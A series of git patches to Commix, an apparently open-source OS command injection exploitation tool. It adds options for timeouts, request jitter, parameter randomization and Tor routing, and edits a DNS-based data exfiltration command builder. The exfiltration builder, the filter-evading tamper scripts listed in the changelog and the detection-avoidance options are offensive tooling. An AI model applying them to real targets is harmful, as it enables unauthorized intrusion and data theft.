src.thirdparty.six.moves import urllib as _urllib diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 2af0fe6e9c..c68a5510c5 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -28,7 +28,6 @@ _http_client._MAXLINE = 1 * 1024 * 1024 from src.utils import common from src.utils import crawler -from src.core.requests import proxy from src.core.requests import headers from src.core.requests import parameters from src.core.requests import redirection diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index a84b97285e..d4cecf9f66 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -13,13 +13,10 @@ For more see the file 'readme/COPYING' for copying permission. """ -import os from src.core.parse import cmdline as menu -from src.utils import common from src.utils import settings from src.core.controller import checks from src.core.shells import modes -from src.thirdparty.colorama import Fore, Back, Style, init """ Netcat bind TCP shell - one generator, parameterized by which netcat binary to target. diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 10fa0bb388..0adae518cd 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -13,17 +13,13 @@ For more see the file 'readme/COPYING' for copying permission. """ -import os import random import string -import subprocess -from src.utils import common from src.core.parse import cmdline as menu from src.utils import settings from src.core.compat import xrange from src.core.controller import checks from src.core.shells import modes -from src.thirdparty.colorama import Fore, Back, Style, init """ Use %XX only where the target performs one URL-decode pass; use literals for header-based injection points. diff --git a/src/core/startup.py b/src/core/startup.py new file mode 100644 index 0000000000..26f47be528 --- /dev/null +++ b/src/core/startup.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys +import signal + +from src.utils import common +from src.utils import settings +from src.utils import version +from src.core.parse import cmdline as menu +from src.core.testing import smoke_test + +""" +What a run settles before it has a target: which version it is, how much it says, how long it is +allowed to take, and where its targets are going to come from. + +Nothing here touches the network, so an option that cannot be acted on is refused while refusing +it still costs nothing. +""" +def bootstrap(): + # Check if defined "--version" option. + if menu.options.version: + version.show_version() + raise SystemExit() + + # Print the legal disclaimer msg. + settings.print_data_to_stdout(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) + + # Get total number of days from last update + if settings.STABLE_RELEASE is False: + common.days_from_last_update() + + # Check if specified wrong alternative interpreter + if menu.options.interpreter: + # Resolved before it is checked, and kept resolved - what reads it later compares against the + # name commix knows, so 'py' has to have become 'python' by now. + menu.options.interpreter = settings.resolve_language(menu.options.interpreter) + if menu.options.interpreter not in settings.AVAILABLE_INTERPRETERS: + err_msg = "'" + menu.options.interpreter + "' interpreter is not supported!" + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Define the level of verbosity. + if menu.options.verbose > 4: + err_msg = "The value for option '-v' " + err_msg += "must be an integer value from range [0, 4]." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + settings.VERBOSITY_LEVEL = menu.options.verbose + + # Hard '--time-limit' cutoff - a signal, immune to exception handling elsewhere. + if menu.options.time_limit and hasattr(signal, "alarm"): + # Stop the run where it has been going longer than '--time-limit' allows. + def _time_limit_reached(signum, frame): + err_msg = "Reached the specified time limit of " + str(menu.options.time_limit) + " second(s)." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + os._exit(0) + signal.signal(signal.SIGALRM, _time_limit_reached) + signal.alarm(max(1, int(round(menu.options.time_limit)))) + + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.execution("Starting")) + + if menu.options.smoke_test: + smoke_test() + + try: + # Treat non-interactive stdin as targets only without an explicit target; skip CI log pipes. + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin, + "CI" in os.environ, + menu.options.url, menu.options.requestfile, menu.options.bulkfile, menu.options.logfile)): + settings.STDIN_PARSING = True + except Exception as ex: + if "fileno" in str(ex) and settings.STDIN_PARSING: + settings.STDIN_PARSING = False + + if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: + settings.OS_CHECKS_NUM = 1 + +# eof diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index 88043d0d7f..998141c97f 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -351,9 +351,11 @@ def dns_exfil_command(hostname, cmd, separator=""): if separator not in (";", "\n"): # The name goes in through the environment and the chunk as an argument, because a BSD 'xargs' # will not build a replaced argument longer than 255 bytes - the lookup chain alone is more. + # The lookups chain on the separator under test like everything else: defaulting to '||' here + # asked the sink to pass an operator the detection never proved it would. return (encoded + PIPE + "fold -w" + chunk + PIPE + "cat -n" + PIPE + "tr -d ' '" + PIPE + "tr '\\t' '.'" + PIPE + "xargs -I{} env H=" + hostname + " sh -c '" + - dns_lookup_command("$0.$H") + "' {}") + dns_lookup_command("$0.$H", separator) + "' {}") # A separator that ends a statement can carry a loop instead, which knows how many chunks there # are and says so in every label - the reading end then knows when it has them all. A space after # the opening, or '$((' would be read as arithmetic instead of a subshell. diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index da3a06c1b0..0b1b5a3a8d 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -15,7 +15,6 @@ from src.utils import settings from src.core.controller import checks -from src.thirdparty.six.moves import urllib as _urllib """ The "time-based" injection technique on Blind OS Command Injection. diff --git a/src/utils/logs.py b/src/utils/logs.py index 08fae59c30..58b0758ce0 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -13,7 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ import os -import re import sys import json import shlex @@ -140,6 +139,16 @@ def create_log_file(url, output_dir): return filename +""" +Report a log file that cannot be written - once per path, not once per line written to it. +""" +def write_failure(filename, err_msg): + if filename in settings.UNWRITABLE_LOG_FILES: + return + settings.UNWRITABLE_LOG_FILES.add(filename) + warn_msg = "Unable to write to '" + filename + "' (" + str(err_msg) + "). Nothing is being logged there." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Append a line to the report - a blank line separates it from a differently grouped one. """ @@ -152,8 +161,8 @@ def add_line(filename, text, group=""): output_file.write(settings.END_LINE.LF) settings.LAST_LOG_GROUP = group output_file.write(text + settings.END_LINE.LF) - except OSError: - pass + except OSError as err_msg: + write_failure(filename, err_msg) """ Whether --report-json was given and the report is ready to receive data. @@ -238,7 +247,7 @@ def logs_notification(filename): # Whatever the run has to suggest for the next one goes immediately above this, the last line. checks.flush_os_shell_suggestion() # Save command history. - if not menu.options.no_logging: + if not menu.options.no_logging and filename not in settings.UNWRITABLE_LOG_FILES: info_msg = "Fetched data logged to text files under '" + filename + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -249,8 +258,8 @@ def log_traffic(header): try: with open(menu.options.traffic_file, "a", encoding=settings.DEFAULT_CODEC) as output_file: output_file.write(header) - except OSError: - pass + except OSError as err_msg: + write_failure(menu.options.traffic_file, err_msg) """ Close the report with the run's totals - only if something was actually logged. diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a44f3b9da..f5ced48b89 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -24,7 +24,6 @@ from datetime import date from datetime import datetime from src.core.compat import xrange -from src.thirdparty.six.moves import urllib as _urllib from src.core import eval as _eval # The language whose code injection grammar is in use; '--eval' can name another one. @@ -383,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "144" +REVISION = "145" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1451,6 +1450,8 @@ def strip_ansi_codes(text): PENDING_OS_SHELL_ENTRY = None # Guards the resumed-session log notice against quit()'s recursion. LOGS_NOTIFICATION_SHOWN = False +# Log files that could not be written, so the run neither retries the warning nor claims they hold anything. +UNWRITABLE_LOG_FILES = set() # Set once a finding is worth suggesting '--os-shell' for, printed where the run ends. OS_SHELL_SUGGESTION_PENDING = False @@ -1849,6 +1850,10 @@ class END_LINE: # Max characters shown at once in the live progress line. PROGRESS_DISPLAY_WIDTH = 60 +# Stands in for a character the time-related techniques never resolved, in the live progress line +# and in the output they return - a dropped one would read as a value that was fully retrieved. +UNRESOLVED_CHAR = "?" + # Init Test INIT_TEST = "" diff --git a/src/utils/version.py b/src/utils/version.py index b58388b90c..bb4f404c7a 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -33,6 +33,8 @@ def python_version(): err_msg += PYTHON_VERSION + ". " err_msg += "commix requires Python 3.7 or later." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + # Exits non-zero: a caller that cannot tell this apart from a finished run - a CI job, or any + # script around commix - would otherwise read the wrong interpreter as a successful one. + raise SystemExit(1) # eof From ed2a7d1caf7d9cf5da5c3b096f7dc91f031c6eee Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 17 Sep 2026 08:33:07 +0300 Subject: [PATCH 0806/1023] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f66d946f71..f015461dc7 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c * **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. * **Resumable scans** - results are stored per target in a session file, and can be exported to JSON. * **Wide back-end support** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI, and works against both Unix-like and Windows targets - see -[Windows and Unix-like targets at a glance](Techniques#windows-and-unix-like-targets-at-a-glance) +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) for how the payloads differ. ## Installation From b7462e33d3d75c379226915d05ee41d87d41ef81 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 17 Sep 2026 18:28:48 +0300 Subject: [PATCH 0807/1023] Added new options and switches for timeout handling, static parameter skipping, delay-based timing, request jitter, and parameter randomization, with improved retry handling for unresolved characters in time-related techniques --- doc/CHANGELOG.md | 10 ++++-- src/core/controller/checks.py | 36 ++++++++++++++++++++ src/core/controller/controller.py | 13 ++++++-- src/core/controller/injector.py | 4 +++ src/core/options.py | 6 ++++ src/core/parse/cmdline.py | 31 +++++++++++++++++ src/core/requests/headers.py | 55 +++++++++++++++++++++++++++++-- src/core/requests/parameters.py | 12 +++---- src/core/requests/requests.py | 10 ++++++ src/utils/settings.py | 8 ++++- 10 files changed, 172 insertions(+), 13 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4f29645cd7..8ca7067284 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,10 @@ ## Version 4.2 (TBA) +* Added: New switch `--ignore-timeouts` for skipping requests that time out, instead of ending the run. +* Added: New switch `--skip-static` for skipping the parameter(s) that do not appear to be dynamic. +* Added: New switch `--disable-stats` for reading time-related results against the delay alone. +* Added: New option `--jitter` for adding a random number of seconds to the delay between requests. +* Added: New option `--randomize` for giving the value of the given parameter(s) a new value per request. +* Revised: Characters that the time-related techniques never resolved are re-attempted once, and marked in the retrieved output instead of being dropped from it. * Added: New tamper script `pyhexname.py`, that runs the command through a Python module and function named in hex. * Added: New tamper script `phpconcat.py`, that runs the command through a PHP function named in concatenated pieces. * Added: New option `--type` to select injection techniques by the injection type they report (i.e. `c` for classic, `b` for blind). @@ -9,8 +15,8 @@ * Added: New tamper script `cmd2var.py`, that splits the name of the user-supplied operating system command across unset shell variables. * Added: New tamper script `cmd2wildcard.py`, that replaces the paths in the user-supplied operating system command with wildcards. * Added: New tamper script `ansiquote.py`, that rewrites the command names and paths in a given payload as ANSI-C quoted hex. -* Added: New tamper script `space2brace`, which replaces the space character (%20) with a brace expansion ({a,b}) in a given payload. -* Added: New tamper script `dollarstars.py`, which adds dollar sign followed by an asterisk ($*) between the characters in a given payload. +* Added: New tamper script `space2brace`, which replaces the space character (%20) with a brace expansion (`{a,b}`) in a given payload. +* Added: New tamper script `dollarstars.py`, which adds dollar sign followed by an asterisk (`$*`) between the characters in a given payload. * Added: New tamper script `cmd2loop.py`, which wraps a payload's command in a single-iteration "for" loop, so that it follows a shell keyword rather than a separator. * Added: Code injection now supports Python as well as PHP, over every technique. * Added: The `--eval` switch now also reaches the time-based and file-based techniques, so code injection is proven blind and semi-blind as well as results-based. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 65b5900d19..dccdfd58fa 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -386,6 +386,14 @@ def finish_target(): info_msg = "Files left behind: " + ", ".join(settings.LEFTOVER_FILES) + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) del settings.LEFTOVER_FILES[:] + # Said once at the end rather than per request: what was dropped is worth knowing, since results + # are read from the requests that did answer. + if settings.IGNORED_TIMEOUTS: + info_msg = str(settings.IGNORED_TIMEOUTS) + " request" + info_msg += "s"[settings.IGNORED_TIMEOUTS == 1:] + " timed out and " + info_msg += ("were" if settings.IGNORED_TIMEOUTS != 1 else "was") + " skipped ('--ignore-timeouts')." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.IGNORED_TIMEOUTS = 0 """ Technique letters written out, optionally saying how each one shows execution. Used to name what a @@ -818,6 +826,15 @@ def ignore_anticsrf_parameter(parameter): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True +# Whether a parameter is one '--randomize' carries a fresh value in, which is what it is for - +# a payload of ours in its place would be rewritten by the next request. +def ignore_randomized_parameter(parameter): + name = parameter.split("=")[0].strip() + if name in settings.RANDOMIZE_PARAMETERS_LIST: + info_msg = "Skipping the randomized parameter '" + name + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True + """ Ignoring the parameter(s) carrying session or framework state. """ @@ -2022,6 +2039,10 @@ def record_baseline_response_time(exec_time): 'close' as False and closes the line itself once its own dots are done. """ def warm_up_response_baseline(url, http_request_method, close=True): + # Nothing reads the model once '--disable-stats' is given, so the requests that fill it are not + # spent either. + if menu.options.disable_stats: + return False if len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES: return False warn_msg = settings.TIMING_BASELINE_MSG @@ -2088,6 +2109,10 @@ def _delay_threshold_from(times): # How late an answer has to be before it counts as a delay that was asked for. def current_delay_threshold(): + # Turned off with '--disable-stats': the delay asked for is then the only thing a probe is read + # against, which is what the caller falls back to where no threshold is returned. + if menu.options.disable_stats: + return None # The payload costs more than a plain request - on the file-based path, two PowerShell launches # more - so what it costs with nothing held back is the only thing a probe can be judged against. # The plain model answers only until enough probes have been seen to have one of their own; the @@ -2191,6 +2216,17 @@ def parse_parameter_list(raw): if menu.options.skip_parameter: settings.SKIP_PARAMETERS_LIST = parse_parameter_list(menu.options.skip_parameter) + if menu.options.randomize: + settings.RANDOMIZE_PARAMETERS_LIST = [_.strip() for _ in parse_parameter_list(menu.options.randomize) if _.strip()] + # A parameter cannot be both the one carrying a new value every request and the one a payload + # is placed in - the next request would rewrite the payload. + clash = [_ for _ in settings.RANDOMIZE_PARAMETERS_LIST if _ in settings.TESTABLE_PARAMETERS_LIST] + if clash: + err_msg = "The option '--randomize' is incompatible with the option '-p', for the parameter" + err_msg += "s"[len(clash) == 1:] + " '" + ", ".join(clash) + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ -p is an exclusive allowlist, --skip a blocklist, neither given tests everything. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 75556f7fbc..5cc96160cc 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -657,9 +657,11 @@ def _body(value): if changed >= min(noise, settings.STABILITY_SIMILARITY_THRESHOLD): warn_msg = param_label + " does not appear to be dynamic." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - elif settings.VERBOSITY_LEVEL != 0: + return False + if settings.VERBOSITY_LEVEL != 0: debug_msg = param_label + " appears to be dynamic." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return True """ Replace the parameter value with a disposable placeholder if the response stays the same but gets faster. @@ -751,7 +753,14 @@ def injection_process(url, check_parameter, http_request_method, filename, times # them, and the loop over operating systems below reads this either way. end_detection = False - check_parameter_dynamism(url, http_request_method, check_parameter) + # False only where the check ran and the response never moved with the parameter - where it did + # not run, nothing was learned and the parameter is tested as it would have been. + is_dynamic = check_parameter_dynamism(url, http_request_method, check_parameter) + if is_dynamic is False and menu.options.skip_static and not checks.explicitly_testable(check_parameter): + info_msg = "Skipping the parameter '" + check_parameter + "' that does not appear to be dynamic." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return + url = attempt_skip_testable_value(url, http_request_method, check_parameter) # Both, where the target's own answer did not identify one - that being what the question asked. diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 92270d9a5e..b4c5a87db0 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -122,6 +122,10 @@ def _warm_up_target_shell(): # Sample how long the target takes to answer when nothing is asking it to wait. def _warm_up_baseline(announce=True): + # With '--disable-stats' a probe is read against the delay it asked for and nothing else, so + # neither model is consulted and neither is worth the requests that fill it. + if menu.options.disable_stats: + return fan_out = retrieval_concurrency() # A model of responses asked for one at a time says nothing about how the target answers while # it is serving several: those take longer, and every one of them then reads as a delay the diff --git a/src/core/options.py b/src/core/options.py index 9d542aab31..e45c248520 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -197,6 +197,12 @@ def validate(): if menu.options.delay != 0: settings.DELAY = menu.options.delay + # Random seconds added on top of that delay, which cannot be asked for backwards. + if menu.options.jitter < 0: + err_msg = "The value of the '--jitter' option must not be negative." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Check if defined "--timesec" option. if menu.options.timesec != 0: settings.TIMESEC = menu.options.timesec diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index d62c2c3e9d..fb2e55cc0e 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -366,6 +366,18 @@ def banner(): default=False, help="Ignore redirection attempts.") +request.add_option("--ignore-timeouts", + action="store_true", + dest="ignore_timeouts", + default=False, + help="Ignore connection timeouts.") + +request.add_option("--randomize", + action="store", + dest="randomize", + default=None, + help="Randomly change value for given parameter(s).") + request.add_option("--timeout", action="store", dest="timeout", @@ -387,6 +399,13 @@ def banner(): dest="delay", help="Seconds to delay between each HTTP request.") +request.add_option("--jitter", + default=0, + action="store", + type="float", + dest="jitter", + help="Seconds of random variation added to '--delay'.") + request.add_option("--drop-set-cookie", action="store_true", dest="drop_set_cookie", @@ -678,6 +697,18 @@ def banner(): default=False, help="Skip testing the parameter(s) with empty value(s).") +detection.add_option("--skip-static", + action="store_true", + dest="skip_static", + default=False, + help="Skip testing the parameter(s) that do not appear to be dynamic.") + +detection.add_option("--disable-stats", + action="store_true", + dest="disable_stats", + default=False, + help="Disable the statistical model for detecting the delay.") + detection.add_option("--failed-tries", action="store", type="int", diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 469495904c..435687cd4e 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -15,6 +15,8 @@ import re import time +import random +import string try: from base64 import encodebytes except ImportError: @@ -146,13 +148,61 @@ def discover_digest_realm(url): pass return "" +""" +A fresh value for a parameter named with '--randomize', shaped like the one it replaces - digits +stay digits and letters keep their case, so a target that validates the format still accepts it. +""" +def randomized_value(value): + def _swap(match): + original = match.group() + if original.isdigit(): + pool = string.digits + elif original.isupper(): + pool = string.ascii_uppercase + else: + pool = string.ascii_lowercase + while True: + candidate = "".join(random.choice(pool) for _ in original) + if candidate != original: + return candidate + return re.sub(r"[0-9]+|[A-Z]+|[a-z]+", _swap, value) + +""" +Give every parameter named with '--randomize' a new value, wherever it travels - the query string +of the URL and the body alike. +""" +def randomize_parameters(request): + if not settings.RANDOMIZE_PARAMETERS_LIST: + return request + + def _rewrite(text): + def _pair(match): + name, value = match.group("name").strip(), match.group("value") + if name not in settings.RANDOMIZE_PARAMETERS_LIST: + return match.group() + return match.group().replace(name + "=" + value, name + "=" + randomized_value(value), 1) + # Both delimiters, so a cookie's pairs are read the way a query string's are. + return re.sub(r"(?P<name>[^=&;?]+)=(?P<value>[^&;]*)", _pair, text) + + parts = request.full_url.split("?", 1) + if len(parts) == 2 and parts[1]: + request.full_url = parts[0] + "?" + _rewrite(parts[1]) + if request.data: + body = request.data.decode(settings.DEFAULT_CODEC, errors="replace") + request.data = _rewrite(body).encode(settings.DEFAULT_CODEC) + # The cookie is added further down from the option it was given in, so it is randomized there. + if menu.options.cookie: + menu.options.cookie = _rewrite(menu.options.cookie) + return request + """ Checking the HTTP Headers & HTTP/S Request. """ def check_http_traffic(request): settings.LAST_HTTP_ERROR = None - # Delay in seconds between each HTTP request, plus whatever backing off the target has earned. - time.sleep(int(settings.DELAY) + settings.ADAPTIVE_DELAY) + # Delay in seconds between each HTTP request, plus whatever backing off the target has earned - + # and, where '--jitter' was given, a different fraction of a second on top of every one of them. + time.sleep(int(settings.DELAY) + settings.ADAPTIVE_DELAY + (random.uniform(0, menu.options.jitter) if menu.options.jitter else 0)) if request.type == 'https': http_client = _http_client.HTTPSConnection else: @@ -457,6 +507,7 @@ def send_request(request): def do_check(request): request = encode_non_ascii_url(request) + randomize_parameters(request) # Frame the body as chunks, so a filter inspecting it never sees the payload in one piece. if menu.options.chunked and request.data and not request.has_header(settings.TRANSFER_ENCODING): diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index a6457fc186..979adcdb52 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -182,7 +182,7 @@ def do_GET_check(url, http_request_method): # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(parameters) or checks.ignore_stateful_parameter(parameters): + if checks.ignore_anticsrf_parameter(parameters) or checks.ignore_stateful_parameter(parameters) or checks.ignore_randomized_parameter(parameters): return urls_list if len(value) == 0: # An empty or absent value is still an empty value, so '--skip-empty' applies here too. @@ -207,7 +207,7 @@ def do_GET_check(url, http_request_method): # Grab the value of parameter. value = multi_params_get_value(all_params[param]) # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]): + if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]) or checks.ignore_randomized_parameter(all_params[param]): if param > 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue @@ -485,7 +485,7 @@ def handle_single_post_parameter(parameter, multi_parameters, http_request_metho return parameter else: # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(parameter) or checks.ignore_stateful_parameter(parameter): + if checks.ignore_anticsrf_parameter(parameter) or checks.ignore_stateful_parameter(parameter) or checks.ignore_randomized_parameter(parameter): return parameter # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: @@ -549,7 +549,7 @@ def handle_multiple_post_parameters(parameter, multi_parameters, http_request_me # Grab the value of parameter. value = multi_params_get_value(param, all_params) # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]): + if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]) or checks.ignore_randomized_parameter(all_params[param]): if param > 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue @@ -771,7 +771,7 @@ def do_cookie_check(cookie): # Check if single paramerter is supplied. if len(multi_parameters) == 1: # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(cookie) or checks.ignore_stateful_parameter(cookie): + if checks.ignore_anticsrf_parameter(cookie) or checks.ignore_stateful_parameter(cookie) or checks.ignore_randomized_parameter(cookie): return cookie # Ignoring the Google analytics cookie parameter. if cookies.ignore_google_analytics_cookie(cookie): @@ -803,7 +803,7 @@ def do_cookie_check(cookie): # Grab the value of cookie. value = multi_params_get_value(all_params[param]) # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]): + if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]) or checks.ignore_randomized_parameter(all_params[param]): if param > 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index c68a5510c5..5c155f7bf6 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -386,6 +386,16 @@ def _finish_response_time_estimate(diff, timesec): """ def request_failed(err_msg): + # Asked for with '--ignore-timeouts': the request is given up on and the run carries on without + # it, so a target that answers late neither reads as unreachable nor spends the error budget. + if menu.options.ignore_timeouts and re.search(r"timed?\s*out", str(err_msg), re.IGNORECASE): + settings.IGNORED_TIMEOUTS += 1 + if settings.IGNORED_TIMEOUTS == 1 or settings.VERBOSITY_LEVEL != 0: + warn_msg = "The target did not answer in time, so the request is skipped ('--ignore-timeouts')" + warn_msg += " - " + str(settings.IGNORED_TIMEOUTS) + " so far." if settings.IGNORED_TIMEOUTS > 1 else "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False + stability.mark_url_invalid() # Pacing is answered on its own: being told to slow down holds whether or not a WAF is looked for. diff --git a/src/utils/settings.py b/src/utils/settings.py index f5ced48b89..bcc5d9b7d2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "145" +REVISION = "146" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1854,6 +1854,12 @@ class END_LINE: # and in the output they return - a dropped one would read as a value that was fully retrieved. UNRESOLVED_CHAR = "?" +# Requests dropped on a timeout because '--ignore-timeouts' was given, counted for the run's summary. +IGNORED_TIMEOUTS = 0 + +# The parameters '--randomize' was given, each one carrying a fresh value on every request. +RANDOMIZE_PARAMETERS_LIST = [] + # Init Test INIT_TEST = "" From 9c8afe8b3287b5bd41f25390f87558b4ab33337c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 18 Sep 2026 06:21:48 +0300 Subject: [PATCH 0808/1023] Added direct Tor-over-SOCKS support, new switches for controlling URL/XML encoding, parameter selection by name and location, Tor connection type and verification, and improved SOAP/XML payload encoding to preserve well-formed documents --- doc/CHANGELOG.md | 9 +- src/core/controller/checks.py | 37 ++ src/core/controller/controller.py | 22 +- src/core/options.py | 15 +- src/core/parse/cmdline.py | 36 ++ src/core/requests/authentication.py | 2 +- src/core/requests/proxy.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 119 +++- src/thirdparty/socks/LICENSE | 22 + src/thirdparty/socks/__init__.py | 0 src/thirdparty/socks/socks.py | 897 ++++++++++++++++++++++++++++ src/utils/settings.py | 20 +- 13 files changed, 1156 insertions(+), 27 deletions(-) create mode 100644 src/thirdparty/socks/LICENSE create mode 100644 src/thirdparty/socks/__init__.py create mode 100644 src/thirdparty/socks/socks.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8ca7067284..9bb311d1d4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,9 @@ ## Version 4.2 (TBA) +* Added: Bundled the "PySocks" library, so that the Tor service can be reached over SOCKS directly. +* Added: New switches `--skip-urlencode` and `--skip-xmlencode` for sending payload data without the encoding a carrier would otherwise get. +* Added: New options `--param-exclude` and `--param-filter` for choosing testable parameters by name and by place. +* Added: New option `--tor-type` and new switch `--check-tor` for choosing how Tor is reached and confirming that traffic goes through it. +* Revised: Payload data placed in a SOAP/XML body is now encoded for the document, keeping it well-formed. * Added: New switch `--ignore-timeouts` for skipping requests that time out, instead of ending the run. * Added: New switch `--skip-static` for skipping the parameter(s) that do not appear to be dynamic. * Added: New switch `--disable-stats` for reading time-related results against the delay alone. @@ -375,7 +380,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement regarding identifying corrupted .pyc file(s). * Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign (`$@`) between the characters of the generated payloads. * Fixed: Bug-fix regarding proxying SSL/TLS requests. -* Revised: Minor improvement regarding checking for potentially miswritten (illegal '=') short option. +* Revised: Minor improvement regarding checking for potentially miswritten (illegal `=`) short option. * Revised: Minor improvement regarding checking for illegal (non-console) quote and comma characters. * Revised: Minor improvement regarding merging of tamper script arguments. * Revised: Minor improvement regarding ignoring the parameter(s) that carrying anti-CSRF token(s) in all scanning attempts. @@ -582,7 +587,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed 